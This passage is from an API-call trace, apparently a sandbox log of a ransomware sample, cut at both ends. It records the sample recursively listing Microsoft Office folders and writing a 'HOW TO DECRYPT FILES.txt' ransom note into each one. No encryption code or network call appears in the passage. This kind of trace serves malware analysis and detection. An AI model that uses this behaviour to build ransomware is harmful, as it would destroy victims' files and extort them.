DECRYPT FILES.txt", lpString2="builtincontrolsschema.xsd") returned 1 [0065.748] lstrcmpiA (lpString1="", lpString2="builtincontrolsschema.xsd") returned -1 [0065.748] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*.*") returned="*.*" [0065.748] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0065.748] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="" [0065.748] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt" [0065.748] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\how to decrypt files.txt")) returned 0xffffffff [0065.748] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0065.750] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0065.750] CloseHandle (hObject=0x90) returned 1 [0065.751] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\", lpString2="builtincontrolsschema.xsd" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\builtincontrolsschema.xsd") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\builtincontrolsschema.xsd" [0065.751] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\builtincontrolsschema.xsd", pszSpec="*.ems") returned 0 [0065.751] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd279da00, ftCreationTime.dwHighDateTime=0x1c8a0cd, ftLastAccessTime.dwLowDateTime=0x537646f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd279da00, ftLastWriteTime.dwHighDateTime=0x1c8a0cd, nFileSizeHigh=0x0, nFileSizeLow=0x5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="grvschema.xsd", cAlternateFileName="GRVSCH~1.XSD")) returned 1 [0065.751] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.751] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="grvschema.xsd") returned -1 [0065.751] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="grvschema.xsd") returned 1 [0065.751] lstrcmpiA (lpString1="", lpString2="grvschema.xsd") returned -1 [0065.751] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\builtincontrolsschema.xsd") returned="builtincontrolsschema.xsd" [0065.751] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0065.751] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="" [0065.751] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt" [0065.751] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\how to decrypt files.txt")) returned 0x20 [0065.751] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\", lpString2="grvschema.xsd" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\grvschema.xsd") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\grvschema.xsd" [0065.751] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\grvschema.xsd", pszSpec="*.ems") returned 0 [0065.752] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d4e500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2d4e500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Messenger.xml", cAlternateFileName="MESSEN~1.XML")) returned 1 [0065.752] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.752] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Messenger.xml") returned -1 [0065.752] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Messenger.xml") returned -1 [0065.752] lstrcmpiA (lpString1="", lpString2="Messenger.xml") returned -1 [0065.752] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\grvschema.xsd") returned="grvschema.xsd" [0065.752] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0065.752] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="" [0065.752] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt" [0065.752] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\how to decrypt files.txt")) returned 0x20 [0065.752] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\", lpString2="Messenger.xml" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml" [0065.752] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml", pszSpec="*.ems") returned 0 [0065.752] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Space Templates", cAlternateFileName="SPACET~1")) returned 1 [0065.752] lstrcmpA (lpString1=".", lpString2="Space Templates") returned -1 [0065.752] lstrcmpA (lpString1="..", lpString2="Space Templates") returned -1 [0065.752] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml") returned="Messenger.xml" [0065.753] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\", lpString2="Space Templates" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates" [0065.753] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f8280, cFileName=".", cAlternateFileName="")) returned 0x502558 [0065.753] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.753] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0065.753] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.753] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.753] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 0 [0065.753] FindClose (in: hFindFile=0x502558 | out: hFindFile=0x502558) returned 1 [0065.754] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a42b900, ftCreationTime.dwHighDateTime=0x1c9d747, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a42b900, ftLastWriteTime.dwHighDateTime=0x1c9d747, nFileSizeHigh=0x0, nFileSizeLow=0x17e2d, dwReserved0=0x700053, dwReserved1=0x3, cFileName="StarterApplicationDescriptors.xml", cAlternateFileName="STARTE~1.XML")) returned 1 [0065.754] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.754] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="StarterApplicationDescriptors.xml") returned -1 [0065.754] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="StarterApplicationDescriptors.xml") returned -1 [0065.754] lstrcmpiA (lpString1="", lpString2="StarterApplicationDescriptors.xml") returned -1 [0065.754] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*.*") returned="*.*" [0065.754] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0065.754] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="" [0065.754] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt" [0065.754] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\how to decrypt files.txt")) returned 0x20 [0065.754] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\", lpString2="StarterApplicationDescriptors.xml" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml" [0065.754] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml", pszSpec="*.ems") returned 0 [0065.754] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4061200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4061200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b875, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterNotificationDescriptors.xml", cAlternateFileName="STARTE~3.XML")) returned 1 [0065.754] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.754] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="StarterNotificationDescriptors.xml") returned -1 [0065.754] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="StarterNotificationDescriptors.xml") returned -1 [0065.754] lstrcmpiA (lpString1="", lpString2="StarterNotificationDescriptors.xml") returned -1 [0065.754] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml") returned="StarterApplicationDescriptors.xml" [0065.754] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0065.755] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="" [0065.755] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt" [0065.755] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\how to decrypt files.txt")) returned 0x20 [0065.755] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\", lpString2="StarterNotificationDescriptors.xml" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml" [0065.755] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml", pszSpec="*.ems") returned 0 [0065.755] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22545300, ftCreationTime.dwHighDateTime=0x1c9a48f, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22545300, ftLastWriteTime.dwHighDateTime=0x1c9a48f, nFileSizeHigh=0x0, nFileSizeLow=0x1a553, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterToolTemplates.xml", cAlternateFileName="STARTE~2.XML")) returned 1 [0065.755] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.755] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="StarterToolTemplates.xml") returned -1 [0065.755] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="StarterToolTemplates.xml") returned -1 [0065.755] lstrcmpiA (lpString1="", lpString2="StarterToolTemplates.xml") returned -1 [0065.755] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml") returned="StarterNotificationDescriptors.xml" [0065.755] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0065.755] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="" [0065.755] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt" [0065.755] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\how to decrypt files.txt")) returned 0x20 [0065.755] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\", lpString2="StarterToolTemplates.xml" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml" [0065.755] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml", pszSpec="*.ems") returned 0 [0065.756] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22545300, ftCreationTime.dwHighDateTime=0x1c9a48f, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22545300, ftLastWriteTime.dwHighDateTime=0x1c9a48f, nFileSizeHigh=0x0, nFileSizeLow=0x1a553, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterToolTemplates.xml", cAlternateFileName="STARTE~2.XML")) returned 0 [0065.756] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0065.756] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 0 [0065.756] FindClose (in: hFindFile=0x4f8198 | out: hFindFile=0x4f8198) returned 1 [0065.756] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x3112b78, dwReserved0=0x720047, dwReserved1=0x3, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0065.756] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.756] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GROOVE.EXE") returned -1 [0065.756] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GROOVE.EXE") returned 1 [0065.756] lstrcmpiA (lpString1="", lpString2="GROOVE.EXE") returned -1 [0065.756] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\*.*") returned="*.*" [0065.756] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.756] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.757] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.757] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.757] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="GROOVE.EXE" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE") returned="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" [0065.757] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE", pszSpec="*.ems") returned 0 [0065.757] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x669390, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0065.757] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.757] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GROOVEEX.DLL") returned -1 [0065.757] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GROOVEEX.DLL") returned 1 [0065.757] lstrcmpiA (lpString1="", lpString2="GROOVEEX.DLL") returned -1 [0065.757] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE") returned="GROOVE.EXE" [0065.757] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.757] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.757] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.757] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.757] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="GROOVEEX.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL" [0065.757] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL", pszSpec="*.ems") returned 0 [0065.757] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x14ed88, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEMN.EXE", cAlternateFileName="")) returned 1 [0065.758] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.758] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GROOVEMN.EXE") returned -1 [0065.758] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GROOVEMN.EXE") returned 1 [0065.758] lstrcmpiA (lpString1="", lpString2="GROOVEMN.EXE") returned -1 [0065.758] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL") returned="GROOVEEX.DLL" [0065.758] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft 